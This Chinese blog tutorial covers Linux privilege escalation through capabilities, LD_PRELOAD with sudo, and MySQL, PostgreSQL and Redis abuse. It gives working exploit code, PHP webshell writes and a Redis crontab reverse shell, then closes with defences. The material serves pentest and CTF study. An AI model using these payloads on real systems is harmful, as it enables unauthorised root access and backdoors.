欢迎光临
我们一直在努力

Linux系统权限提升深度剖析:Capability、LD_PRELOAD与数据库攻击向量

前言

在渗透测试与CTF竞赛中,权限提升(Privilege Escalation)是获取最终控制权的关键一环。Linux系统的权限模型远不止于 rwx 和 sudo。随着Linux内核安全机制的演进,传统的setuid位逐渐被细粒度的Capabilities所补充;而动态链接器的灵活性则引入了LD_PRELOAD这类环境变量劫持的风险;此外,运行在系统上的数据库服务(如MySQL、PostgreSQL)也常常成为提权的跳板。

本文将深入探讨这三种提权路径,结合Vulnhub靶场(如 pWnOS、FristiLeaks、HackTheBox 相关靶机)中的真实场景,展示从信息收集到漏洞利用的完整链条。


第一章:Linux 权限基础回顾

1.1 传统权限模型的局限

传统的Linux权限依赖于 setuid 位。当一个二进制文件设置了 setuid 位(例如 /bin/su 或 /usr/bin/passwd),普通用户执行该文件时,进程将以文件所有者(通常是root)的身份运行。

问题:

  • 非最小权限原则:程序可能只需要绑定一个低于1024的端口,却获得了完全的root权限。

  • 风险放大:如果存在缓冲区溢出漏洞,攻击者可以直接获得root shell。

为了解决这个问题,Linux引入了 Capabilities 机制。

1.2 Capabilities 机制概述

Capabilities 将root用户的特权划分为多个独立的小单元。进程可以只拥有其中一项或几项能力,而不必拥有全部root权限。

查看能力:

bash

# 查看进程的能力
cat /proc/1234/status | grep Cap
# 使用 capsh 解码
capsh –decode=0x0000000000001000

常用能力:

  • CAP_SETUID:允许改变UID

  • CAP_SETGID:允许改变GID

  • CAP_DAC_OVERRIDE:绕过文件读写权限检查

  • CAP_NET_BIND_SERVICE:允许绑定到1024以下的端口

  • CAP_SYS_ADMIN:广泛的系统管理能力(近似于root)

  • CAP_SYS_PTRACE:允许追踪任意进程


第二章:Capability 能力提权实战

2.1 查找具有Capabilities的二进制文件

在提权过程中,首要任务是寻找系统中设置了特殊Capability的文件。

命令:

bash

getcap -r / 2>/dev/null

典型输出示例:

text

/usr/bin/ping = cap_net_raw+ep
/usr/bin/tar = cap_dac_read_search+ep
/usr/bin/python = cap_setuid+ep
/home/user/testapp = cap_sys_admin+ep

2.2 利用 cap_setuid 提权

如果某个二进制文件(如Python、Perl、Ruby)拥有 cap_setuid+ep 能力,那么它可以直接调用系统调用更改进程的UID。

场景:发现 /usr/bin/python3 具有 cap_setuid+ep。

利用方法:

python

import os
os.setuid(0) # 设置UID为0(root)
os.system("/bin/bash")

保存为 exploit.py 执行:

bash

/usr/bin/python3 exploit.py

结果:得到一个root shell。

原理:虽然Python文件本身不是setuid root,但由于它具有CAP_SETUID能力,其进程可以合法地将自己的UID改为0。内核允许此操作,因为能力检查在进程层面而非文件层面。

2.3 利用 cap_dac_read_search 读取敏感文件

此能力允许进程绕过文件权限检查(如 -rw——-),读取任何文件。

场景:/usr/bin/tar 具有 cap_dac_read_search+ep。

利用方法:

bash

# 使用tar打包shadow文件(通常只有root可读)
tar -cvf /tmp/shadow.tar /etc/shadow
cd /tmp
tar -xvf shadow.tar
cat etc/shadow

进阶:如果Python也具备该能力,可以编写脚本读取任意文件:

python

# 使用cap_dac_read_search能力读取root私钥
with open('/root/.ssh/id_rsa', 'r') as f:
print(f.read())

2.4 利用 cap_sys_admin 挂载提权

CAP_SYS_ADMIN 是一个非常强大的能力,它允许执行挂载文件系统、修改内核参数等操作。

场景:发现 /home/user/mount_tool 具有 cap_sys_admin+ep。

利用思路:通过挂载一个新的文件系统来覆盖 /etc 或 /root 目录。

典型利用:

  • 创建一个普通用户可写的目录。

  • 准备一个自定义的 passwd 文件,生成一个密码为空的root用户(openssl passwd -1 -salt salt password)。

  • 使用该二进制文件将包含自定义 passwd 的目录 bind mount 到 /etc。

  • bash

    # 准备payload目录
    mkdir /tmp/mnt
    mkdir /tmp/mnt/etc
    cp /etc/passwd /tmp/mnt/etc/
    # 编辑passwd添加一个root用户
    echo "hacker:\\$1\\$salt\\$qCunC9A1fZf7h8H5N5U3l.:0:0::/root:/bin/bash" >> /tmp/mnt/etc/passwd
    # 执行mount(假设binary支持mount功能)
    /home/user/mount_tool –bind /tmp/mnt/etc /etc
    # 切换用户
    su hacker

    2.5 利用 cap_sys_ptrace 注入进程

    拥有 CAP_SYS_PTRACE 的进程可以附加到任何进程(包括root进程)进行调试,从而实现代码注入。

    场景:一个监控程序拥有此能力。

    利用方法:

  • 编写一个简单的共享库(C代码),在构造函数中启动shell。

  • 使用 ptrace 附加到root进程(如init或cron),将shellcode或共享库注入。

  • 等待进程执行shell。

  • 由于现代系统对 ptrace 有限制(如 ptrace_scope),在实际利用前需确认 cat /proc/sys/kernel/yama/ptrace_scope 的值(0表示无限制)。


    第三章:LD_PRELOAD 环境变量劫持

    3.1 动态链接器的工作原理

    Linux程序在加载时会查找所需的共享库。环境变量 LD_PRELOAD 允许用户指定优先加载的共享库。这是一个强大的功能,可以用于hook系统调用或函数。

    安全限制:

    • 对于setuid或具有Capabilities的二进制文件,动态链接器会忽略 LD_PRELOAD 等环境变量,以防止权限提升。

    • 但是,如果一个程序没有setuid位且没有有效的Capabilities,那么LD_PRELOAD在由普通用户执行时是有效的。

    3.2 利用普通用户运行的特权程序

    在提权场景中,我们常常会遇到这样的情况:某个普通用户可以通过 sudo 执行特定程序(如 apache2、find、awk),而这个程序本身没有setuid位,但运行时可能需要加载库。

    场景:用户 www-data 可以通过 sudo 执行 /usr/bin/openssl 而不需要密码(在 /etc/sudoers 中配置)。

    攻击思路:

  • 编写一个恶意共享库,重写 openssl 调用的某个函数(如 exit()),在其中执行 system("/bin/bash")。

  • 设置 LD_PRELOAD 指向该库。

  • 执行 sudo openssl,由于 sudo 环境变量可能被清除,但可以通过 sudo 配置保留或利用 env_keep 选项。

  • 常见绕过:如果 sudo 配置中包含了 env_keep 保留 LD_PRELOAD,则可以直接利用。否则,需要寻找其他方法。

    3.3 实战:利用sudo与LD_PRELOAD

    靶场场景:用户 user 可以通过 sudo 执行 find 命令,且 sudo 保留了 LD_PRELOAD。

    步骤:

  • 编写恶意库 hack.c:

    c

    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>

    void _init() {
    // 构造函数,在库加载时执行
    if(geteuid() == 0) { // 确保以root运行
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
    }
    }

  • 编译为共享库:

    bash

    gcc -fPIC -shared -o hack.so hack.c -ldl

  • 设置环境变量并执行:

    bash

    sudo LD_PRELOAD=./hack.so find

  • 原理:find 本身不是root程序,但通过 sudo 运行时,其有效用户ID为0。动态链接器在加载 find 时,由于 sudo 并没有清除 LD_PRELOAD,导致恶意库被优先加载,在 _init 构造函数中获得了root权限。

    3.4 针对Capabilities程序的LD_PRELOAD

    如前所述,如果二进制文件自身具有Capabilities,动态链接器会清除敏感环境变量。但是,如果攻击者能够强制程序重新执行(如通过 execve)或利用某些程序内部的 system() 调用,仍可能绕过。


    第四章:数据库提权向量

    数据库服务通常以高权限用户(如 root、mysql)运行,且具备文件读写能力。通过数据库获取shell或提权是常见的路径。

    4.1 MySQL / MariaDB 提权

    4.1.1 UDF (User Defined Function) 提权

    MySQL允许用户创建自定义函数(UDF),这些函数以共享库形式存在,由MySQL进程加载执行。如果MySQL以root权限运行,则UDF中的代码将以root执行。

    前提条件:

    • 拥有 FILE 权限(通常是root用户)。

    • 知道MySQL的数据目录(select @@plugin_dir;)。

    • 能够写入文件到插件目录。

    利用步骤:

  • 编译UDF共享库:使用开源工具如 sqlmap 中的 lib_mysqludf_sys.so,其中包含 sys_exec() 和 sys_eval() 函数。

  • 写入文件:

    sql

    SELECT 0x7f454c46… INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';

  • 创建函数:

    sql

    CREATE FUNCTION sys_exec RETURNS INT SONAME 'udf.so';

  • 执行命令:

    sql

    SELECT sys_exec('chmod +s /bin/bash');

  • 4.1.2 MySQL 日志写入 WebShell

    如果MySQL配置允许写入文件(secure_file_priv 为空),可以直接将Webshell写入Web目录。

    sql

    SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';

    如果 OUTFILE 被禁用,可以使用 general_log 写入:

    sql

    SET GLOBAL general_log = 'ON';
    SET GLOBAL general_log_file = '/var/www/html/shell.php';
    SELECT '<?php system($_GET["cmd"]); ?>';
    SET GLOBAL general_log = 'OFF';

    4.2 PostgreSQL 提权

    PostgreSQL 同样支持自定义函数,且默认情况下允许使用 COPY 和 libc 函数。

    4.2.1 利用 COPY 写入文件

    sql

    COPY (SELECT '<?php system($_GET["cmd"]); ?>') TO '/var/www/html/shell.php';

    4.2.2 利用 C 语言函数执行命令

    PostgreSQL 8.3+ 引入了 dblink 和 CREATE FUNCTION 结合 C 语言。

    经典提权:

    sql

    CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE C STRICT;
    SELECT system('chmod 777 /tmp');

    注意:在现代PostgreSQL中,直接调用 libc.so.6 可能被限制,需寻找自定义编译的共享库。

    4.3 Redis 提权

    Redis 默认以root运行(如果配置不当),且未设置密码。

    利用方法:

  • 写入SSH公钥:

    bash

    redis-cli -h target
    config set dir /root/.ssh/
    config set dbfilename authorized_keys
    set x "\\n\\nssh-rsa AAAAB… root\\n\\n"
    save

  • 写入Crontab:

    bash

    config set dir /var/spool/cron/crontabs/
    config set dbfilename root
    set x "\\n* * * * * /bin/bash -i >& /dev/tcp/attacker/4444 0>&1\\n"
    save


  • 第五章:综合提权场景实战(Vulnhub模拟)

    5.1 靶场环境描述

    假设我们正在攻击一台名为 "BreakOut" 的Vulnhub靶机。已获得低权限用户 user 的shell。

    初始信息:

    • 操作系统:Ubuntu 20.04

    • 用户:user(UID=1000)

    • 服务:Apache(www-data)、MySQL(3306开放)、自定义二进制程序 /opt/monitor

    5.2 信息收集

    首先,我们需要收集提权所需的信息。

    bash

    # 查看系统信息
    uname -a
    cat /etc/os-release

    # 查看当前用户权限
    id
    sudo -l

    # 查找SUID和Capabilities
    find / -perm -4000 2>/dev/null
    getcap -r / 2>/dev/null

    # 查看运行的进程
    ps aux | grep root

    # 查看数据库服务
    netstat -tlnp
    mysql -u root -p # 尝试空密码或弱密码

    发现:

  • /opt/monitor 具有 cap_setuid+ep。

  • sudo -l 显示用户 user 可以以root身份执行 /usr/bin/mysql。

  • MySQL root用户密码为空。

  • 5.3 尝试利用 Capability

    利用 /opt/monitor:

    bash

    # 查看monitor文件类型
    file /opt/monitor
    # 输出: ELF 64-bit executable
    # 执行后尝试提权
    /opt/monitor

    假设该程序提示 "Monitoring started",但没有直接给出shell。我们需要反编译或分析其行为。

    分析: 使用 strings /opt/monitor 发现它调用了 setuid() 函数,但没有直接执行shell。我们需要利用其特性。

    编写利用脚本: 由于该程序具有 CAP_SETUID,我们可以使用 gdb 或编写一个wrapper。更简单的方法是直接使用Python调用该能力,但这里monitor是独立的。

    实际利用:我们可以利用 monitor 调用的子程序或利用环境变量。但在此场景中,我们决定直接利用MySQL。

    5.4 利用数据库进行提权

    MySQL UDF提权:

  • 登录MySQL:

    bash

    mysql -u root -p
    # 密码为空,直接回车

  • 查看权限和目录:

    sql

    select user();
    select @@plugin_dir;
    show variables like 'secure_file_priv';

  • 确认 secure_file_priv 为空,插件目录为 /usr/lib/mysql/plugin/。

  • 编译或获取UDF共享库。在攻击机上编译 udf.so:

    bash

    git clone https://github.com/mysqludf/lib_mysqludf_sys.git
    cd lib_mysqludf_sys
    gcc -shared -fPIC -o udf.so udf.c

  • 通过MySQL写入UDF:

    sql

    SELECT LOAD_FILE('/tmp/udf.so') INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';
    CREATE FUNCTION sys_exec RETURNS INT SONAME 'udf.so';
    SELECT sys_exec('chmod +s /bin/bash');

  • 检查 /bin/bash 是否已setuid:

    bash

    ls -l /bin/bash
    # 如果显示 -rwsr-sr-x,则执行 /bin/bash -p 获取root

  • 5.5 利用LD_PRELOAD与sudo数据库

    在sudo -l中,我们看到 user 可以以root执行 /usr/bin/mysql。

    尝试LD_PRELOAD:

    bash

    # 编译恶意库
    cat > preload.c << EOF
    #include <stdio.h>
    #include <stdlib.h>
    void _init() {
    if(geteuid() == 0) {
    setuid(0);
    system("/bin/bash -p");
    }
    }
    EOF
    gcc -fPIC -shared -o preload.so preload.c -ldl

    # 执行sudo mysql,并尝试加载
    sudo LD_PRELOAD=./preload.so mysql

    如果sudo配置保留了LD_PRELOAD,我们将直接获得root shell。

    5.6 组合利用:从数据库到系统权限

    如果MySQL UDF写入被 secure_file_priv 限制,但我们可以通过MySQL的 system 函数(如果有)直接执行命令。

    检查MySQL版本和函数:

    sql

    select version();
    # 如果是5.x且拥有FILE权限,尝试执行系统命令
    select sys_exec('id');

    如果没有UDF,但MySQL以root运行,我们可以通过写crontab或ssh密钥提权。

    写crontab:

    sql

    SELECT '*/1 * * * * root chmod 777 /tmp/shell' INTO OUTFILE '/etc/cron.d/backup';


    第六章:防御与检测

    6.1 针对Capability的防御

    • 最小化能力:在授予能力时,严格遵循最小权限原则。例如,一个只需要绑定80端口的程序,只应给予 CAP_NET_BIND_SERVICE,而不是 CAP_SETUID。

    • 定期审计:使用 getcap -r / 2>/dev/null 定期检查哪些二进制文件具有能力,并评估风险。

    • 使用 capsh 限制:在启动脚本中使用 capsh 来丢弃不需要的能力。

    6.2 针对LD_PRELOAD的防御

    • 清除环境变量:对于任何高权限程序,在调用 execve 前清除 LD_PRELOAD、LD_LIBRARY_PATH 等环境变量。

    • sudo配置:确保 sudo 配置中的 env_reset 为默认开启,除非绝对必要,不要使用 env_keep 保留危险变量。

    • 使用 secure-execution:对于setuid程序,内核会自动清除这些变量。

    6.3 针对数据库的防御

    • 降权运行:MySQL、PostgreSQL等数据库应使用专用用户(如 mysql、postgres)运行,绝不使用root。

    • 禁用文件操作:设置 secure_file_priv 为一个空目录或NULL,防止任意文件读写。

    • 移除UDF函数:禁用或移除不必要的UDF功能。定期审计数据库中的自定义函数。

    • 强密码策略:避免数据库root用户空密码或弱密码。


    结语

    权限提升是渗透测试中最具挑战性的环节之一。Linux系统的Capability机制虽然提高了安全性,但错误的配置(如将危险能力授予普通程序)反而会成为提权的捷径。LD_PRELOAD劫持则提醒我们,环境变量的管理在高权限执行中至关重要。而数据库作为存储核心,其权限配置的疏忽往往导致整个系统的沦陷。

    通过本文的梳理,希望你能掌握以下核心能力:

  • 熟练使用 getcap 和 find 进行提权信息收集。

  • 理解不同Capability的利用场景,尤其是 cap_setuid、cap_dac_read_search 和 cap_sys_admin。

  • 掌握LD_PRELOAD与sudo组合的攻击方式,并能编写简单的恶意共享库。

  • 能够利用数据库(MySQL、PostgreSQL、Redis)的多种提权技术,包括UDF、日志写入、系统命令执行等。

  • 在实际渗透中,往往需要将这些技术结合使用,从低权限用户出发,逐步获取关键信息,最终实现权限提升。

    赞(0)
    未经允许不得转载:171主机测评 » Linux系统权限提升深度剖析:Capability、LD_PRELOAD与数据库攻击向量
    分享到: 更多 (0)

    评论 抢沙发

    • 昵称 (必填)
    • 邮箱 (必填)
    • 网址